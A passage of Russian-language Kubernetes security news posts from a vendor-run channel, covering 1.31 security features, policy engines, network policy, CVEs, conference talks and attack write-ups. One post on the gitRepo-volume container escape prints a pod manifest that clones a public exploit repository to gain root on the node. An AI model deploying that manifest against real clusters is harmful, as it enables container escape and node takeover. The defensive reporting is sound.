Канал о (не)безопасности Kubernetes + микросервисных, контейнеризированных приложений. Ведет команда www.luntry.ru Вопросы, идеи, предложения => @Qu3b3c https://knd.gov.ru/license?id=673ddbc21039886b1d03b7ce®istryType=bloggersPermission
Сегодня выходит Kubernetes
версии 1.31
и это значит самое время посмотреть какие улучшения в аспектах ИБ [1,2] он нам принесет.
1) KEP-24 - Поддержка механизма AppArmor
в Kubernetes
ушло в Stable
2) KEP-2535 - Обеспечение безопасного доступ к образам с IfNotPresent image pull policy
3) KEP-4193 - Контролирование анонимного доступа к endpoints
. На пример, к healthz
, livez
и readyz
анонимно обращаться можно, а к другим нельзя даже при разрешениях RBAC
.
4) KEP-4193 - улучшение жизненного цикла Bound Service Account Token
5) KEP-3908 - kube-apiserver
может вызывать сторонний external key server
для JWT
подписи. Теперь есть поддержка сторонних identity providersё и signing services
.
6) KEP-4601 - field
и label selectors
для авторизации. Возможность более гранулированного доступа к ресурсам (но кажется это только для системных компонентов и не влияет на RBAC
).
7) KEP-3962 - добавление встроенных Mutating Admission Policies
А все изменения можно посмотреть в 1.31 Enhancements Tracking.
В Лас-Вегасе прошла ежегодная конференция Black Hat USA 2024
и среди множества интересных докладов наш глаз зацепил доклад – Traceeshark - Interactive System Tracing & Runtime Security using eBPF (слайды и видео к сожалению пока недоступны).
В докладе исследователи представили новый инструмент traceeshark
, а если быть точнее, то плагин для Wireshark
. Traceeshark
позволяет импортировать события, генерируемые tracee
в Wireshark
для дальнейшего анализа – например, kernel-level events
и behavioral detections
вместе с сетевым трафиком. Также этот плагин имеет возможность записывать Tracee events
, также как это сделано с сетевыми пакетами в Wireshark
.
Ознакомиться с самой тулзой можно по ссылке тут. Узнать, то как и где её можно применять можно здесь.
Сегодня хотим поделиться небольшой утилитой incert
, которая позволяет в одну команду изменить docker image
, добавить в него CA
сертификат и запушить обновленный образ в registry
. Например, так:
$ incert -image-url=mycompany/myimage:latest -ca-certs-file=/path/to/cacerts.pem -dest-image-url=myregistry/myimage:latest
Как вы можете помнить, начиная c Kubernetes 1.26
, появились Validating Admission Policies
. По сути, это такая еще одна замена PolicyEngine
, где правила описываются на языке CEL
. Но главным преимуществом, по сравнению с классическими PolicyEngine
, является то, что данные для валидации не отправляются на вебхук, а сразу обрабатываются под капотом у Kubernetes
.
Вендоры PolicyEngine
тоже не сидят сложа руки, и Gatekeeper, начиная с версии 1.13
, и Kyverno
, начиная с версии 1.11
начали поддерживать VAP
. Так например, в крайнем релизе Kyverno 1.12
, добавили поддержку PolicyReport
для VAP
.
Неплохое демо Managing Validating Admission Policies (VAP) через Gatekeeper
можно посмотреть тут.
Для того чтобы блокировать операции над subresources
, вроде pods/exec
или pods/portforward
, необходимо внести некоторые изменения в конфигруацию вебхуков PolicyEngine
. А именно – добавить операцию CONNECT
. По умолчанию этой операции нет, и если её не добавить соответствующая политика на запрет использования pods/exec
или pods/portforward
просто не будет работать.
Но есть и хорошие новости. Если вы используете Kyverno и применяете политику, где задействован такой subresource (для контроля которого нужна операция CONNECT
), то Kyverno
автоматически пропатчит конфиг своего вебхука и добавит туда нужную операцию.
Про необходимость использования операции CONNECT
мы рассазывали тут.
Продолжим тему сетевой безопасности. И если вам интересно куда и как развивается механизм сетевого ограничения в Kubernetes
, то вам определённо стоит ознакомится с двумя докладами от ребят что непосредственно работают над этим:
- "AdminNetworkPolicy: A New Kubernetes-Native API for Comprehensive Cluster-Wide Network Security" с Kubecon 2023
-"Network Policy: The Future of Network Policy with AdminNetworkPolicy" с Kubecon 2024
Недавно, читая нововведения в Red Hat OpenShift 4.16
, наше внимание привлекло "Secure OpenShift cluster networking with Admin Network Policy". Для тех кто ранее с этим не сталкивался то речь идет о ресурсе AdminNetworkPolicy
(ранее известном как GlobalNetworkPolicy
), который является нативной реализацией clusterwide
вариации NetworkPolicy
! В Calico
для этого есть кастомнный ресурс GlobalNetworkPolicy
, а в Cilium
есть CiliumClusterwideNetworkPolicy
и в Antrea
это ClusterNetworkPolicy
.
Так вот OpenShift
на CNI OVN-Kubernetes
стал первым поддерживать данный ресурс (обсуждение в Calico
и тоже самое в Cilium
и в kube-ovn
пока просто идут)! Также поддержка (уже как год) этого ресурса есть в Antrea
!
Напомним, что работа над этим ресурсом идет в рамках SIG Network, а именно Network Policy API Meeting в рамках KEP-2091: Add support for AdminNetworkPolicy resources.
И пока это все изучали наткнулись еще на один ресурс над которым идет работа - BaselineAdminNetworkPolicy
. Его идея в следующем: "An BaselineAdminNetworkPolicy (BANP) resource will help the administrators set baseline security rules that describes default connectivity for cluster workloads, which CAN be overridden by developer owned NetworkPolicies if needed."
P.S. Еще в документах можно встретить TenancyNetworkPolicy ;)
P.S.S. А еще NetworkPolicy v2
=)
Авито в поиске талантливого специалиста, который возьмёт на себя лидерство в направлении безопасности Kubernetes
.
В компании выстроен зрелый процесс безопасной разработки, включающий в себя статический и динамический анализ приложений, поиск секретов и персональных данных, анализ зависимостей и множество других решений для максимально быстрого и точного обнаружения проблем.
Уже собралась крутая команда, состоящая из AppSec
, Security BP
, команды разработки и для полного счастья нужен инженер по безопасности k8s.
Что предстоит делать?
⭐️ Строить основные процессы безопасности Kubernetes
⭐️ Разрабатывать и внедрять механизмы защиты от основных угроз для контейнерных сред (OWASP TOP 10 Kubernetes/Docker
)
⭐️ Консультировать и обучать DevOps
и администраторов по настройкам безопасности
Почему Авито?
🔥 Классифайд №1 в мире по версии сервиса SimilarWeb
🔥 Огромная распределённая инфраструктура
🔥 Можно работать как в комфортных офисах в Москве, Санкт-Петербурге, Самаре, Казани или в коворкинге в Ереване, так и полностью удалённо
🔥 Достойная заработная плата (до 500 000 руб)
🔥 Дико флексим на team-get-together
Откликайтесь
Как-то мы спрашивали Вас про ваше отношение к публикации на данном канале вакансий связанных чисто с Kubernetes security
. И большинство высказалось положительно на этот счет.
Мы хорошо понимаем актуальность данной темы, высокий спрос на данных специалистов и все сложности поиска специалистов данного направления. В контексте этого настоятельно рекомендуем ознакомиться со слайдами и видеозаписью доклада "Почему защитой k8s должно заниматься целое подразделение?" от Артема Мерец с прошедшего БеКон 2024.
При этом у нас тут собрана как раз та самая целевая аудитория: кто-то только начинает делать первые шаги в данной области, кто-то уже давно защищает кластера в своих компаниях, кто-то давно занимается разворачиваем и сопровождением K8s
и хочется заняться ИБ, кто-то давно работает в SOC
и хочет немного сменить фокус и т.д.
Мы решили помочь компаниям в поисках таких специалистов и публиковать вакансии, направленные на специалистов по безопасности Kubernetes
(это строгое ограничение). По всем вопросам можно писать контакту указанному в профиле.
Все слайды и видеозаписи докладов с конференции БеКон 2024!
Изучайте, учитесь и делайте свои контейнерные инфраструктуре безопаснее вместе с нами!
Если у вас Kubernetes
кластер на Windows
(ну мало ли), то поспешите обновиться, ведь вышла новая CVE-2024-5321: Incorrect permissions on Windows containers logs с оценкой по CVSS
– 6.1 (Medium
).
Уязвимость позволяет BULTIN\Users
читать логи контейнеров, а NT AUTHORITY\Authenticated Users
модифицировать логи контейнеров.
Бага затрагивает версии kubelet <= 1.27.15, 1.28.11, 1.29.6, 1.30.3
. Необходимые патчи уже выпущены.
На нашем сайте в разделе Исследования уже стали доступны и слайды, и видеозапись вебинара "Ловим злоумышленников и собираем улики в контейнерах Kubernetes", который мы проводили вчера. Так что если вы вчера не смогли присутствовать online
, то уже есть возможность все изучить в записи!
Там мы рассмотрели:
- способы обнаружения злоумышленника в контейнерных окружениях
- какие подходы смогут эффективно помочь в расследовании и реагировании инцидентов
- возможности Luntry, необходимые для Incident Response
И отдельный таймкод на последнюю часть с live demo
.
Как всегда если есть вопросы, то пишите в комментариях.
Читатели нашего канала недавно поделились с нами своей статьей "Threat Detection in the K8s Environment" в которой рассказывают об опыте работы своего SOC
в Kubernetes
. В статье идет речь про кастомный Tetragon
и анализ Kubernetes Audit Log
. К правилам/сигнатурам для Tetragon
(как и ко всем правилам) есть вопросы, но вот Audit Policy
(она полностью приводится в статье и ее можно взять за базу) и сценарии анализа ее результатов очень классные. Единственное, что на наш взгляд тут можно было бы добавить это сочетание использования с PolicyEngine
(в статье о данном клаcсе решений ничего не говориться), чтобы предотвратить множество кейсов и не доводить их до расследования вообще.
В общем, очень рекомендуем для изучения (ребята молодцы!), особенно в преддверии нашего сегодняшнего вебинара «Ловим злоумышленников и собираем улики в контейнерах Kubernetes» в 11:00
, где мы покажем как, на пример, можно ловить переименования бинарей (для bypass rules
) вообще без правил/сигнатур/аномалий и при этом собрать артефакты для forensic
;)
P.S. Если вы написали статью или инструмент по тематике канала, то не стесняйтесь скидывать =)
В полку PoliceEngine
случилось пополнение и к Kyverno
, OPA Gatekeeper
, Kubewarden
, JSPolicy
присоединился Kubelatte! При этом kubelatte
это отечественная разработка ребят из СберТех. Данный движок может похвастаться сразу 3
типами политик:
- Мутационными
- Валидационными
- Генерационными
Политики это специальные CRD
, где сами правила можно писать с помощью двух синтаксисов:
- rego
- simples
(jmespath
+ regexp
)
Подробнее о проекте можно почитать тут или спросить в комментариях к данному посту и авторы проекта ответят ;)
P.S. Проект молодой, но по общению с командой планируются и backgroundscan
, и проверка SBOM
, и проверка подписи образа!
P.S.S. В Luntry уже есть интеграция с Kyverno
, OPA Gatekeeper
, а такими темпами и с kubelatte
добавим ;)
"Advanced Linux Detection and Forensics Cheatsheet" - полезный систематизирующий документ по моментам связанным с обнаружением и расследованием инцидентов в Linux
. Вы определенно можете отметить как много всего есть и как много куда надо смотреть в Linux
(и от этого даже может заболеть голова). В документе упоминается и ряд моментов связанных с контейнерами и K8s
. Но если прям специализироваться и затачиваться под последнее, то на их специфике можно сделать много всего интересного и очень полезного. Об этом мы как раз расскажем и покажем на будущем вебинаре «Ловим злоумышленников и собираем улики в контейнерах Kubernetes».
На просторах Github
мы наткнулись на репозиторий KubernetesCRInjection. Он определенно будет полезен, если вы пишите свой Kubernetes controller
и хотите избежать возможных уязвимостей еще на стадии его проектирования.
Когда мы имеем дело с уязвимым Kubernetes controller
нужно понимать что, злоумышленники могут контролировать определенные пользовательские ресурсы и внедрять вредоносные полезные нагрузки, которые могут вызвать вредоносное поведение, когда контроллер анализирует, обрабатывает, хранит кастомные ресурсы или генерирует другие связанные ресурсы.
Примеры того как можно классифицировать такие инъекции и реальные примеры таких уязвимостей можно в репозитории.
Совсем недавно компания RedHat
выпустила 30-ти страничный отчёт "The state of Kubernetes security report 2024 edition". В нём довольно много цифр и статистики, но самое важное из этого:
- Обеспокоенность в мисконфигурациях продолжает снижаться из года в год. Тем не менее мисконфиги – это по прежнему одна из основных и частых проблем в безопасности Kubernetes
кластеров (наши аудиты тому подтверждение)
- Уязвимостей с каждым годом становится только больше. Их нужно правильно триажить и приоритезировать
- Большинство респондентов ответило, что за последний год хотя бы раз сталкивались с инцидентами в рантайме
- Большая часть организаций признают ценность DevSecOps
и способствуют сотрудничеству между DevOps
и командами безопасности
Если вы не знаете, почему Kubernetes
не управляет пользователями, то статья с одноименным названием "Why Kubernetes doesn’t manage users?" для вас.
В статье рассказывается о преимуществе такого подхода, а также как можно завести пользователей в кластер с помощью external connectors
:- OIDC
- LDAP
- Webhooks and Custom Auth Plugins
В статье "Authentication and Authorization with ISTIO and OPA on Kubernetes" рассказывается как можно накрутить Authentication
и Authorization
между сервисами, запущенными в Kubernetes
кластере на базе Istio
(с использованием RequestAuthentication
и AuthorizationPolicy
) и OPA
.
К использованию OPA
пришлось прибегнуть из-за некоторых ограничений Istio
, выраженных в отсутствии поддержки regex as path rule
.
P.S. – всем хороших выходных!
Вышла третья статья из цикла Kubernetes Security Fundamentals
и в этот раз про Authorization (первая была про API Security
и о ней мы писали тут, а вторая про Authentication
и почитать про неё можно тут).
Автор кратко разбирает как работают и в чем основные преимущества и недостатки Kubernetes authorization modules
, а также рассказывает как устроена авторизация в других компонентах Kubernetes
– Kubelet, Scheduler и Controller Manager
.
Вышла версия Cilium 1.16.0
и со стороны security
там достаточно изменений:
- Поддержка диапазона портов в Network Policy
- Network Policy Validation Status
. С помощью kubectl describe cnp
можно узнать является ли сетевая политика Cilium валидной или нет
- Control Cilium Network Policy Default Deny behavior
. Благодаря параметру EnableDefaultDeny
можно управлять поведением стандартной запрещающей политики.
- Добавлена поддержка CiliumCIDRGroups
в egress
правилах в политиках.
- Load "default" Network Policies from Filesystem
. Помимо привычной раскатки политик через kubectl apply
, теперь их можно подсовывать напрямую из FS
.
- Support to Select Nodes as Target of Cilium Network Policies
. С помощью новых селекторов ToNodes/FromNodes
трафик может быть разрешен или запрещен на основе лейблов target Node
.
Полный changelog
можно посмотреть тут.
Классный исследователь безопасности и по совместительству подписчик нашего телеграм канала Luis Toro Puig
совсем недавно выступил на конференции EuskalHack
с воркшопом Kubernetes Security Fundamentals
. Доклад затронул, наверное, все самые базовые темы в направлении Kubernetes Security.
100 must-have
слайдов можно найти тут.
Крутой лонгрид "Attacking Pipeline". 8
типов атак с различными сценариями представлены по шагам с рекомендациями по обеспечению безопасности (и все это с понятными примерами)!
Рассмотренные атаки:
- Control of common registry
- Direct PPE (d-PPE)
- Indirect PPE (i-PPE)
- Public PPE
- Changes in repository
- Inject in Artifacts
- User/Services credentials
- Typosquatting docker registry image
SAPwned: SAP AI vulnerabilities expose customers’ cloud environments and private AI artifacts – интересная статья от исследователей из WIZ
, в которой они описывают полную цепочку захвата Kubernetes
кластера.
Интересно, что изначально пользователи SAP AI
могли создавать собственные нагрузки, используя Argo Workflow
, но они были строго ограничены по securityContext
и сети с помощью Istio
.
Но простой трюк со сменой UID
на 1337
(об этом мы рассказывали тут) позволил ресерчерам обойти сетевые ограничения, насканить сеть, найти AWS token
, получить пользовательские данные из S3
хранилища и захватить кластер целиком через Unauthenticated Helm Tiller
.
В одной из последних версий проекта Sigmа, обновился набор правил касающихся Kubernetes
- теперь их там стало 15
. Для тех кто не в курсе что такое Sigma
, то рассказываем - это Generic Signature Format for SIEM Systems
со своей библиотекой правил! Можно использовать проект как по прямому назначению, так и просто подсматривая правила ;)
В общем на заметку специалистам SOC
.
В блоге BugHunters компании Google
вышла статья "Securing the Container World with Policies: acjs and ctrdac", где они представляют общественности два своих инструмента:
1) acjs - PolicyEngine
для Kubernetes
с возможностью мутационных и валидационных политик на JavaScript
.
2) ctrdac - адаптер для первого проекта, чтобы можно было его использовать за пределами Kubernetes
c чистыми Docker/containerd
.
Первый проект по сути аналог JSPolicy.
Второй проект это по сути OPA с интеграцией с Docker
(с containerd
не встречали) .
В связи с существующими PolicyEngine
для Kubernetes
, в сценарий использования этих инструментов там не особо верится, а вот в сценарий вне Kubernetes
вполне возможно!
Если вы занимаетесь пентестами, то наверняка слышали о такой утилите как nuclei
. Эта тулза является очень гибким и легко кастомизируемым vulnerability
сканером, благодаря templates
, которые пишутся на YAML.
Так вот ребята из ProjectDiscovery
(авторы тулзы) решили пойти дальше и добавить темплейты для сканирования Kubernetes
кластера:- Deployment Configurations Review
- Network Policies Enforcement
- Pod Security Standards
- Compliance and Configuration Management
- Security Contexts and Roles
- Logging and Monitoring
- Secrets Management
- Vulnerability Scanning and Patch Management
Всё это доступно в темплейтах версии 9.9.0
. Естественно их можно кастомизировать – писать кастомные проверки, compliance и прочее.
Стали доступны видео докладов с прошедшей конференции CloudNativeSecurityCon North America 2024. Слайды доступны на сайте конференции.
Определенно рекомендуем ознакомиться с ними.
Исследователь безопасности из Google Imre Rad
нашел способ побега из контейнера в Kubernetes
через deprecated volumes
(начиная с 1.11) – gitRepo
. Для эксплуатации необходимо соблюсти три условия: поддержка gitRepo volume type
, наличие git
бинаря на Node и отсутствие ограничений на использование gitRepo volume type
.
Чтобы сбежать из контейнера таким способом, нужно определенным образом сконфигурировать git
репозиторий и выставить gitRepo
в манифесте:
apiVersion: v1
kind: Pod
metadata:
name: test-pd
spec:
containers:
- image: alpine:latest
command: ["sleep","86400"]
name: test-container
volumeMounts:
- mountPath: /gitrepo
name: gitvolume
volumes:
- name: gitvolume
gitRepo:
directory: g/.git
repository: https://github.com/raesene/repopodexploit.git
revision: main
CVE
, хотя она может привести к побегу из контейнера. Автор, обнаруживший проблему уже закинул PR, фикс стоит ожидать во всех поддерживаемых версиях.Imre Rad
– Sneaky write hook: git clone to root on k8s node. Также Rory McCune
в статье Fun With GitRepo Volumes показал чего может добиться злоумышленник, используя данную уязвимость
Читать полностью…
Статья jp-gouin/how-to-create-a-multi-clusters-secure-supply-chain-slsa-3-in-10min-oss-edition-2059aa39790b">How to create a multi clusters secure supply chain (SLSA 3) in 10min (OSS edition) будет хорошей отправной точкой, если вы хотите построить Supply Chain Security
на базе Kubernetes
в своей инфраструктуре.
В этой статье представлено пошаговое руководство по созданию собственной безопасной цепочки поставок. Применяя описанные лучшие практики, вы сможете лучше защитить инфраструктуру на базе Kubernetes
от потенциальных уязвимостей в приложениях и сохранить их целостность на протяжении всего их жизненного цикла.
P.S. – все материалы используемые в статье доступны в репозитории тут.
P.P.S – вопрос безопасности Supply Chain в Kubernetes мы поднимали в свежем докладе "Механизмы Kubernetes против атак supply chain"